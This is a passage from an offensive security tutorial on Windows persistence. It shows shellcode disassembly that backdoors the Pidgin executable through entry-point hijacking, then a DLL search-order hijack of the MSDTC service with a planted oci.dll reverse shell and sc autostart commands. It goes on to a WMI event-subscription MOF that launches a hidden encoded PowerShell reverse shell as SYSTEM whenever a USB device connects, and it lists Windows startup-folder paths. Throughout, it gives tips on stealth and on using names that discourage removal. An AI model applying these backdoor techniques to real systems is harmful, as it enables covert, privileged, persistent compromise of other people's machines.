    0040394A    ^E2 F0          LOOPD SHORT pidgin.0040393C
    0040394C     52             PUSH EDX
    0040394D     57             PUSH EDI
    0040394E     8B52 10        MOV EDX,DWORD PTR DS:[EDX+10]
    00403951     8B42 3C        MOV EAX,DWORD PTR DS:[EDX+3C]
    00403954     01D0           ADD EAX,EDX
    00403956     8B40 78        MOV EAX,DWORD PTR DS:[EAX+78]
    00403959     85C0           TEST EAX,EAX
    0040395B     74 4A          JE SHORT pidgin.004039A7
    0040395D     01D0           ADD EAX,EDX
    0040395F     50             PUSH EAX
    00403960     8B48 18        MOV ECX,DWORD PTR DS:[EAX+18]
    00403963     8B58 20        MOV EBX,DWORD PTR DS:[EAX+20]
    00403966     01D3           ADD EBX,EDX
    00403968     E3 3C          JECXZ SHORT pidgin.004039A6
    0040396A     49             DEC ECX
    0040396B     8B348B         MOV ESI,DWORD PTR DS:[EBX+ECX*4]
    0040396E     01D6           ADD ESI,EDX
    00403970     31FF           XOR EDI,EDI
    00403972     31C0           XOR EAX,EAX
    00403974     AC             LODS BYTE PTR DS:[ESI]
    00403975     C1CF 0D        ROR EDI,0D
    00403978     01C7           ADD EDI,EAX
    0040397A     38E0           CMP AL,AH
    0040397C    ^75 F4          JNZ SHORT pidgin.00403972
    0040397E     037D F8        ADD EDI,DWORD PTR SS:[EBP-8]
    00403981     3B7D 24        CMP EDI,DWORD PTR SS:[EBP+24]
    00403984    ^75 E2          JNZ SHORT pidgin.00403968
    00403986     58             POP EAX
    00403987     8B58 24        MOV EBX,DWORD PTR DS:[EAX+24]
    0040398A     01D3           ADD EBX,EDX
    0040398C     66:8B0C4B      MOV CX,WORD PTR DS:[EBX+ECX*2]
    00403990     8B58 1C        MOV EBX,DWORD PTR DS:[EAX+1C]
    00403993     01D3           ADD EBX,EDX
    00403995     8B048B         MOV EAX,DWORD PTR DS:[EBX+ECX*4]
    00403998     01D0           ADD EAX,EDX
    0040399A     894424 24      MOV DWORD PTR SS:[ESP+24],EAX
    0040399E     5B             POP EBX
    0040399F     5B             POP EBX
    004039A0     61             POPAD
    004039A1     59             POP ECX
    004039A2     5A             POP EDX
    004039A3     51             PUSH ECX
    004039A4     FFE0           JMP EAX
    004039A6     58             POP EAX
    004039A7     5F             POP EDI
    004039A8     5A             POP EDX
    004039A9     8B12           MOV EDX,DWORD PTR DS:[EDX]
    004039AB    ^EB 86          JMP SHORT pidgin.00403933
    004039AD     5D             POP EBP
    004039AE     6A 01          PUSH 1
    004039B0     8D85 B9000000  LEA EAX,DWORD PTR SS:[EBP+B9]
    004039B6     50             PUSH EAX
    004039B7     68 318B6F87    PUSH 876F8B31
    004039BC     FFD5           CALL EBP
    004039BE     EB 22          JMP SHORT pidgin.004039E2   ---|  Hook the shellcode epilog before it ends up
    004039C0     90             NOP                            |   calling ntdll.KiFastSystemCallRet
    004039C1     90             NOP                            |
    004039C2     90             NOP                            |
    004039C3     68 A695BD9D    PUSH 9DBD95A6                  |
    004039C8     FFD5           CALL EBP                       |
    004039CA     3C 06          CMP AL,6                       |
    004039CC     7C 0A          JL SHORT pidgin.004039D8       |
    004039CE     80FB E0        CMP BL,0E0                     |
    004039D1     75 05          JNZ SHORT pidgin.004039D8      |
    004039D3     BB 4713726F    MOV EBX,6F721347               |
    004039D8     6A 00          PUSH 0                         |
    004039DA     53             PUSH EBX                       |
    004039DB     FFD5           CALL EBP                       |
    004039DD     6361 6C        ARPL WORD PTR DS:[ECX+6C],SP   |
    004039E0     6300           ARPL WORD PTR DS:[EAX],AX      |
    004039E2     9D             POPFD                    <-----|  Restore registry and flag values! ESP has
    004039E3     61             POPAD                             not changed, else we would first need to
                                                                  add a static value to align the stack.

Before we return execution flow to the module entry point we need to fix the instruction we nuked. Let's compare the module entry point before and after our modification.

    Original Module Entry Point:

    004012A0 > $ 83EC 1C        SUB ESP,1C                # Nuked!
    004012A3   . C70424 0200000>MOV DWORD PTR SS:[ESP],2  # Nuked!
    004012AA   . FF15 9C924000  CALL DWORD PTR DS:[<&msvcrt.__set_app_ty>;  msvcrt.__set_app_type  # Fine!
    004012B0   . E8 4BFDFFFF    CALL pidgin.00401000

    Modified Module Entry Point:

    004012A0 >   E9 77260000    JMP pidgin1.0040391C # JMP to our shellcode.
    004012A5     90             NOP
    004012A6     90             NOP
    004012A7     90             NOP
    004012A8     90             NOP
    004012A9     90             NOP
    004012AA   . FF15 9C924000  CALL DWORD PTR DS:[<&msvcrt.__set_app_ty>;  msvcrt.__set_app_type
    004012B0   . E8 4BFDFFFF    CALL pidgin1.00401000

All that remains is to append the nuked assembly to the end of our shellcode and jump back to the first untouched instruction at the module entry point.

    004039E2   > 9D             POPFD
    004039E3   . 61             POPAD
    004039E4   . 83EC 1C        SUB ESP,1C                # Instruction restored!
    004039E7   . C70424 0200000>MOV DWORD PTR SS:[ESP],2  # Instruction restored!
    004039EE   .^E9 B7D8FFFF    JMP pidgin.004012AA       # JMP back to module entry point.

We can now upload the file back to the target and overwrite the original executable. Any time Pidgin is launched, calc will also launch. Meanwhile, Pidgin will function normally, none of the original code has been modified!

Pidgin Calc!

Obviously this technique can be used to inject any kind of desirable shellcode.
Case Study - MSDTC:
Anyone who has ever inspected processes with Microsoft Sysinternals Procmon will have noticed that a lot of programs attempt to load resources that do not exist. Mainly there are two reasons for this: (1) the resource is optional and really doesn't exist or (2) the program does not have the absolute path for the resource and needs to traverse the search order.
For this case study we will be looking at the "Distributed Transaction Coordinator" (MSDTC) Windows service. The MSDTC service is present on all Windows systems and is turned off 99% of the time. This is good from an attacker's perspective because we don't want to inadvertently break something which might draw attention to our presence. MSDTC is mostly required for database servers when they need to initiate transactions between multiple autonomous agents in a distributed system.

As we can see from the screenshot below, simply starting MSDTC yields 303 "NAME NOT FOUND" entries (nonsensical, I know, but true).

What we are specifically interested in here is "oci.dll". This dll is an example of a resource which is optional, it would only exist if the Windows machine was used to host an Oracle database. The MSDTC service checks if the dll exists, if it does it will load the dll otherwise it will simply continue with it's start-up routine.
Again, the persistence vector is pretty straight forward. We will want to (1) create a dll that contains our malicious shellcode, (2) rename it to "oci.dll", (3) drop it in one of dll search paths obtained from Procmon and (4) configure the MSDTC service to start at boot.
As in our first case study, we could generate a dll with metasploit but for stealth purposes it is much better to inject shellcode into a legitimate dll. Though the process of injecting code in a dll is marginally different a similar technique to the previous case study can be used. For brevity I will not cover the injection process here. This is a challenge I leave for the diligent reader to investigate.
Since I did not have a legitimate version of "oci.dll" I chose a Microsoft dll as a base to inject my shellcode. Below we can see that the details tab of the properties window still shows the original file details.

This dll, when executed, will open a reverse shell to the localhost on port 4444. We can test this by setting up a listener and manually staring the service.

MSDTC SYSTEM shell

After the dll has been dropped on the target machine (in C:\Windows\System32\) persistence cab be achieved by using sc to configure MSDTC to start on boot.

    C:\Windows\system32> sc qc msdtc

    [SC] QueryServiceConfig SUCCESS

    SERVICE_NAME: msdtc
            TYPE               : 10  WIN32_OWN_PROCESS
            START_TYPE         : 3   DEMAND_START                 # Needs to be started manually.
            ERROR_CONTROL      : 1   NORMAL
            BINARY_PATH_NAME   : C:\Windows\System32\msdtc.exe
            LOAD_ORDER_GROUP   :
            TAG                : 0
            DISPLAY_NAME       : Distributed Transaction Coordinator
            DEPENDENCIES       : RPCSS
                               : SamSS
            SERVICE_START_NAME : LocalSystem

    C:\Windows\system32> sc config msdtc start= auto

    [SC] ChangeServiceConfig SUCCESS

    C:\Windows\system32> sc qc msdtc

    [SC] QueryServiceConfig SUCCESS

    SERVICE_NAME: msdtc
            TYPE               : 10  WIN32_OWN_PROCESS
            START_TYPE         : 2   AUTO_START                   # Starts on boot.
            ERROR_CONTROL      : 1   NORMAL
            BINARY_PATH_NAME   : C:\Windows\System32\msdtc.exe
            LOAD_ORDER_GROUP   :
            TAG                : 0
            DISPLAY_NAME       : Distributed Transaction Coordinator
            DEPENDENCIES       : RPCSS
                               : SamSS
            SERVICE_START_NAME : LocalSystem

## WMI Permanent Event Subscription // Managed Object Formats (MOF)

This is, by far, my favourite method for persistence. If set up with care, it is very difficult to detect and even worse to remove. MOF's, in essence, are compiled scripts that describe Common Information Model (CIM) classes which are compiled into the WMI repository. I'm sure that sounds terribly convoluted, I have added a substantial list of links below to help clear things up (or confuse them further). As a method for persistence we will be creating a MOF which (1) listens for en event (or events) and (2) will take some action (or actions) when the event is triggered.
Links:
Get-WmiObject [Microsoft Technet] - here
Remove-WmiObject [Microsoft Technet] - here
WQL (SQL for WMI) [MSDN] - here
Win32 Provider Classes [MSDN] - here
Querying with WQL [MSDN] - here
mofcomp [MSDN] - here
About WMI [MSDN] - here
WMI Tasks for Scripts and Applications [MSDN] - here
Permanent WMI Event [Microsoft Technet] - here
Creating WMI Permanent Event Subscriptions Using MOF [CondeProject] - here
Distributed Management Task Force [DMTF] - here
Premise:
A MOF file must consist of (at least) the following three components: an __EventFilter which uses the WMI Query Language (WQL) to detect a specific event, an Event Consumer Class which defines a certain action and a __FilterToConsumerBinding which binds an event and an action together. Let's have a closer look at the various section of the MOF file.
__EventFilter:
The event filter class is used to hook/detect specific operating system events defined by a WQL statement. The basic structure of an event filter can be seen below.

    instance of __EventFilter as $EventFilter
    {
        Name  = "Event Filter Name";     # Unique event name.
        EventNamespace = "Root\\Cimv2";  # Namespace for event instance.
        Query = "WQL-Query";             # WQL event query.
        QueryLanguage = "WQL";           # Only WQL is currently supported.
    };

Using WQL almost any hardware or operating system event can be set as and event trigger. I highly recommend that you take some time to review the Win32 Provider Classes to get an understanding of the scope of these events. As always, the best way to learn is to try to formulate some queries on your local host. In powershell the Get-WmiObject cmdlet can be used, in conjunction with the provided link, to get instances of WMI classes.
The following example uses the Win32_CDROMDrive class to retrieve data about the installed CD-Rom drives.

    # Cursory information can be retrieved by only specifying the class name.
    PS C:\Windows\system32> Get-WmiObject -class Win32_CDROMDrive

    Caption                          Drive                  Manufacturer                    VolumeName
    -------                          -----                  ------------                    ----------
    DTSOFT Virtual CdRom Device      F:                     (Standard CD-ROM drives)
    HL-DT-ST DVDRAM GT80N            E:                     (Standard CD-ROM drives)

    # Using the ConfigManagerErrorCode property we can check if the drive is functioning normally.
    PS C:\Windows\system32> Get-WmiObject -query "select ConfigManagerErrorCode from Win32_CDROMDrive"

    __GENUS                : 2
    __CLASS                : Win32_CDROMDrive
    __SUPERCLASS           :
    __DYNASTY              :
    __RELPATH              :
    __PROPERTY_COUNT       : 1
    __DERIVATION           : {}
    __SERVER               :
    __NAMESPACE            :
    __PATH                 :
    ConfigManagerErrorCode : 0                  # Status 0x0 = Device is working properly.
    PSComputerName         :

    __GENUS                : 2
    __CLASS                : Win32_CDROMDrive
    __SUPERCLASS           :
    __DYNASTY              :
    __RELPATH              :
    __PROPERTY_COUNT       : 1
    __DERIVATION           : {}
    __SERVER               :
    __NAMESPACE            :
    __PATH                 :
    ConfigManagerErrorCode : 0                  # Status 0x0 = Device is working properly.
    PSComputerName         :

    # Using the Capabilities property we can check capabilities of the device.
    PS C:\Windows\system32> Get-WmiObject -query "select Capabilities from Win32_CDROMDrive"

    __GENUS          : 2
    __CLASS          : Win32_CDROMDrive
    __SUPERCLASS     :
    __DYNASTY        :
    __RELPATH        :
    __PROPERTY_COUNT : 1
    __DERIVATION     : {}
    __SERVER         :
    __NAMESPACE      :
    __PATH           :
    Capabilities     : {3, 7}                   # 0x3 = Random Access, 0x7 = Supports Removable Media.
    PSComputerName   :

    __GENUS          : 2
    __CLASS          : Win32_CDROMDrive
    __SUPERCLASS     :
    __DYNASTY        :
    __RELPATH        :
    __PROPERTY_COUNT : 1
    __DERIVATION     : {}
    __SERVER         :
    __NAMESPACE      :
    __PATH           :
    Capabilities     : {3, 4, 7}                # 0x3 = Random Access, 0x4 = Supports
    PSComputerName   :                            Writing, 0x7 = Supports Removable Media.

    # Using the MediaLoaded property we can check if the drive currently has a CD-Rom.
    PS C:\Windows\system32> Get-WmiObject -query "select MediaLoaded from Win32_CDROMDrive"

    __GENUS          : 2
    __CLASS          : Win32_CDROMDrive
    __SUPERCLASS     :
    __DYNASTY        :
    __RELPATH        :
    __PROPERTY_COUNT : 1
    __DERIVATION     : {}
    __SERVER         :
    __NAMESPACE      :
    __PATH           :
    MediaLoaded      : False                    # False = No CD-Rom in drive.
    PSComputerName   :

    __GENUS          : 2
    __CLASS          : Win32_CDROMDrive
    __SUPERCLASS     :
    __DYNASTY        :
    __RELPATH        :
    __PROPERTY_COUNT : 1
    __DERIVATION     : {}
    __SERVER         :
    __NAMESPACE      :
    __PATH           :
    MediaLoaded      : True                     # True = CD-Rom in drive.
    PSComputerName   :

As an example could create a WQL event trigger which would wait for a CD-Rom to be inserted into a drive on the system. When the WQL query determins a CD-Rom drive has been inserted it will then trigger an action. The sample WQL query can been seen below.

    # Notice that we are checking for an instance modification where the value for "MediaLoaded" changes from
      "False" to "True".
    Query = "SELECT * FROM __InstanceModificationEvent Within 5"
            "Where TargetInstance Isa \"Win32_CDROMDrive\" "
            "And Targetinstance.MediaLoaded = \"True\" ";

Lets have a look at a second example. In this case we will be querying Win32_NTLogEvent to retrieve instances from the Windows event log. Simply executing the following query will return a raw list of events.

    PS C:\Windows\system32> Get-WmiObject -class Win32_NTLogEvent

The wash of information scrolling over the terminal won't be very useful, however using the EventCode parameter we can drill down into the event log and target whichever specific events we would like to listen for. In this case we would like to retrieve events for user accounts which successfully log on to the system. The relevant Event ID, in this case, is 4624.

    PS C:\Windows\system32> Get-WmiObject -query "select * from Win32_NTLogEvent where EventCode = '4624'"

This query will still not be specific enough. The issues is that there are multiple types of logon events, we would only be interested in the Interactive Logon type (0x2). Consider the following logon events.

    Category         : 12544
    CategoryString   : Logon
    EventCode        : 4624  # EventID 4624 - An account was successfully logged on.
    EventIdentifier  : 4624
    TypeEvent        :
    InsertionStrings : {S-1-5-18, WIN7-TESTBED$, WORKGROUP, 0x3e7...}
    LogFile          : Security  # Part of the Security event channel.
    Message          : An account was successfully logged on.

                       Subject:
                           Security ID:        S-1-5-18
                           Account Name:        WIN7-TESTBED$
                           Account Domain:        WORKGROUP
                           Logon ID:        0x3e7

                       Logon Type:            5  # Logon type 0x5 - A service was started by the Service
                                                   Control Manager.

                       New Logon:
                           Security ID:        S-1-5-18
                           Account Name:        SYSTEM  # Authenticated as SYSTEM.
                           Account Domain:        NT AUTHORITY
                           Logon ID:        0x3e7
                           Logon GUID:        {00000000-0000-0000-0000-000000000000}

                       Process Information:
                           Process ID:        0x20c
                           Process Name:        C:\Windows\System32\services.exe

                       Network Information:
                           Workstation Name:
                           Source Network Address:    -
                           Source Port:        -

                       Detailed Authentication Information:
                           Logon Process:        Advapi
                           Authentication Package:    Negotiate
                           Transited Services:    -
                           Package Name (NTLM only):    -
                           Key Length:        0

    RecordNumber     : 425
    SourceName       : Microsoft-Windows-Security-Auditing
    TimeGenerated    : 20140914212049.157848-000
    TimeWritten      : 20140914212049.157848-000
    Type             : Audit Success
    UserName         :

    Category         : 12544
    CategoryString   : Logon
    EventCode        : 4624  # EventID 4624 - An account was successfully logged on.
    EventIdentifier  : 4624
    TypeEvent        :
    InsertionStrings : {S-1-5-18, WIN7-TESTBED$, WORKGROUP, 0x3e7...}
    LogFile          : Security  # Part of the Security event channel.
    Message          : An account was successfully logged on.

                       Subject:
                           Security ID:        S-1-5-18
                           Account Name:        WIN7-TESTBED$
                           Account Domain:        WORKGROUP
                           Logon ID:        0x3e7

                       Logon Type:            2  # Logon type 0x2 - A user logged on to this computer.

                       New Logon:
                           Security ID:        S-1-5-21-2436999474-2994553960-2820488997-1001
                           Account Name:        Fubar  # Authenticated as Fubar.
                           Account Domain:        Win7-Testbed
                           Logon ID:        0x14ad4
                           Logon GUID:        {00000000-0000-0000-0000-000000000000}

                       Process Information:
                           Process ID:        0x1ac
                           Process Name:        C:\Windows\System32\winlogon.exe

                       Network Information:
                           Workstation Name:    WIN7-TESTBED
                           Source Network Address:    127.0.0.1
                           Source Port:        0

                       Detailed Authentication Information:
                           Logon Process:        User32
                           Authentication Package:    Negotiate
                           Transited Services:    -
                           Package Name (NTLM only):    -
                           Key Length:        0

    RecordNumber     : 166
    SourceName       : Microsoft-Windows-Security-Auditing
    TimeGenerated    : 20140913190526.048815-000
    TimeWritten      : 20140913190526.048815-000
    Type             : Audit Success
    UserName         :

In order to return only interactive logon's we can use the WQL like statement to match events using a pattern. After some experimentation I discovered that all interactive logon's have "User32" set as the "Logon Process" within the "Message" property. The following query should only match a successful user logon.

    PS C:\Windows\system32> Get-WmiObject -query "select * from Win32_NTLogEvent where EventCode = '4624' and
    Message like '%User32%'"

Using this information we can create the following WQL event trigger. This trigger would monitor the Windows events log and would trigger once it sees a successful interactive user logon.

    # Notice that we are checking for an instance creation where the event code is 4624 and the message
      property contains "User32".
    Query = "SELECT * FROM __InstanceCreationEvent Within 5"
            "Where TargetInstance Isa \"Win32_NTLogEvent\" "
            "And Targetinstance.EventCode = \"4624\" "
            "And Targetinstance.Message Like \"%User32%\" ";

Event Consumer Class:
The two most interesting consumer classes are: (1) The ActiveScriptEventConsumer class which allows us to execute VBS payloads and (2) the CommandLineEventConsumer class which we can use to execute terminal commands. Both classes have a really basic structure, examples of both can be seen below. Keep in mind that any payload executed by the consumer class will run as SYSTEM.

    # VBS payload.
    instance of ActiveScriptEventConsumer as $consumer
    {
        Name = "Event Consumer Name";
        ScriptingEngine = "VBScript";
        ScriptText = "VBS Payload!";
    };

    # Command line payload.
    instance of CommandLineEventConsumer as $consumer
    {
        Name = "Event Consumer Name";
        RunInteractively = false;
        CommandLineTemplate = "CMD Payload!";
    };

Using these two payload types any desired action can be performed; killing processes/services, creating and executing scripts, installing software/drivers, injecting shellcode, etc.
__FilterToConsumerBinding:
This class is also very straight forward, all we really need to know is that it binds an event trigger to an event consumer. An example can be seen below.

    instance of __FilterToConsumerBinding
    {
    	Filter = $filter;      # Our WQL event trigger.
    	Consumer = $consumer;  # Our event consumer payload.
    };

Multiple instances of __FilterToConsumerBinding can be defined in a single MOF. An event filer can be linked to multiple consumers and a consumer can be linked to multiple event filters.
But where is my shell?:
For demonstration purposes I created the following MOF file which will wait till a detachable USB device is connected to the computer and will then launch a reverse shell to the localhost. The powershell payload was generated using a modified version of Unicorn; Dave Kennedy if you happen to read this (hehe), "Why You No Like Dynamic Payload Choice?". The script is really useful as the output doesn't contain problematic characters like quotes, in addition, the payload will work on both 32 and 64 bit architectures.

    #pragma namespace ("\\\\.\\root\\subscription")

    instance of __EventFilter as $filter
    {
    	Name = "USB-DeviceManager";  # A "could be legitimate" event name.
    	EventNamespace = "root\\cimv2";
    	Query = "SELECT * FROM __InstanceCreationEvent Within 5"  # Listen for USB device.
                 "Where TargetInstance Isa \"Win32_DiskDrive\" "
                 "And Targetinstance.InterfaceType = \"USB\" ";
    	QueryLanguage = "WQL";
    };

    instance of CommandLineEventConsumer as $consumer
    {
        Name = "DoEvil";
        RunInteractively = false;
        CommandLineTemplate = "cmd /C powershell -nop -win hidden -noni -enc  # Unicorn payload.
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    };

    instance of __FilterToConsumerBinding
    {
    	Filter = $filter;
    	Consumer = $consumer;
    };

All that remains is to compile our MOF into memory on the target machine. This can be accomplished by using mofcomp.

    PS C:\Users\Fubar\Desktop> mofcomp.exe .\usb2shell.mof

    Microsoft (R) MOF Compiler Version 6.1.7600.16385
    Copyright (c) Microsoft Corp. 1997-2006. All rights reserved.

    Parsing MOF file: .\usb2shell.mof
    MOF file has been successfully parsed
    Storing data in the repository...

    WARNING: File .\usb2shell.mof does not contain #PRAGMA AUTORECOVER.
    If the WMI repository is rebuilt in the future, the contents of this MOF file will not be included in the
    new WMI repository.To include this MOF file when the WMI Repository is automatically reconstructed, place
    the #PRAGMA AUTORECOVER statement on the first line of the MOF file.

    Done!

After compilation our event/action will be permanently stored in memory, the MOF file will no longer be necessary and can be deleted. To get some extra bang for your buck the following command can be used to compile a MOF on a remote computer without the file ever touching disk.

    # The pragma namespace will need to be removed from the MOF.
    PS C:\Users\Fubar\Desktop> mofcomp.exe -N \\[RemoteTarget]\root\subscription .\usb2shell.mof

Once compiled we can query the MOF using Get-WmiObject, notice however that it is not possible to determine the actual payload that will be run when the event is triggered. Choosing a seemingly critical or innocent name should discourage anyone from removing it.

    PS C:\Users\Fubar\Desktop> Get-WmiObject -namespace root\subscription -Class __EventFilter -Filter
    "name='USB-DeviceManager'"

    __GENUS          : 2
    __CLASS          : __EventFilter
    __SUPERCLASS     : __IndicationRelated
    __DYNASTY        : __SystemClass
    __RELPATH        : __EventFilter.Name="USB-DeviceManager"
    __PROPERTY_COUNT : 6
    __DERIVATION     : {__IndicationRelated, __SystemClass}
    __SERVER         : WIN7-TESTBED
    __NAMESPACE      : ROOT\subscription
    __PATH           : \\WIN7-TESTBED\ROOT\subscription:__EventFilter.Name="USB-DeviceManager"
    CreatorSID       : {1, 5, 0, 0...}
    EventAccess      :
    EventNamespace   : root\cimv2
    Name             : USB-DeviceManager  # Looks legit to me ;)).
    Query            : SELECT * FROM __InstanceCreationEvent Within 5 Where TargetInstance Isa
                       "Win32_DiskDrive" And Targetinstance.InterfaceType = "USB"
    QueryLanguage    : WQL

From the screenshot below we can see that we get a SYSTEM shell as soon as a USB device is attached to the computer.

MOF USB SYSTEM shell

If we wanted to delete our MOF backdoor we could pipe the command above to Remove-WmiObject.

    PS C:\Users\Fubar\Desktop> Get-WmiObject -namespace root\subscription -Class __EventFilter -Filter
    "name='USB-DeviceManager'" |Remove-WmiObject

The amazing scope of the WQL event triggers make this a really advanced persistence technique. A MOF file could, for example, be used as a dropper for malware; kill AV/debuggers, grab updates from a C&C, fingerprint network hardware, infect detachable media devices, migrate through a domain, etc.

## Windows Startup Folder

The final technique is a classic, all windows versions, going back to "Windows 3", have starup directories. Any binary, script or application shortcut which is put in that directory will be executed when the user logs on to the system.
Links:
List Of Major Windows Versions - here
Startup Directories:

    # Windows NT 6.0 - 10.0 / All Users
    %SystemDrive%\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

    # Windows NT 6.0 - 10.0 / Current User
    %SystemDrive%\Users\%UserName%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

    # Windows NT 5.0 - 5.2
    %SystemDrive%\Documents and Settings\All Users\Start Menu\Programs\Startup

    # Windows NT 3.5 - 4.0
    %SystemDrive%\WINNT\Profiles\All Users\Start Menu\Programs\Startup

## Final Thoughts

I'm sure this is a lot of information to take in, it was certainly a lot to write up. It should be made clear, however, that this is only the bare bones of Windows userland persistence. A functional understanding of persistence techniques can only be gained by experimentation and practise. I leave it to the diligent reader to see how deep the Rabbit Hole goes!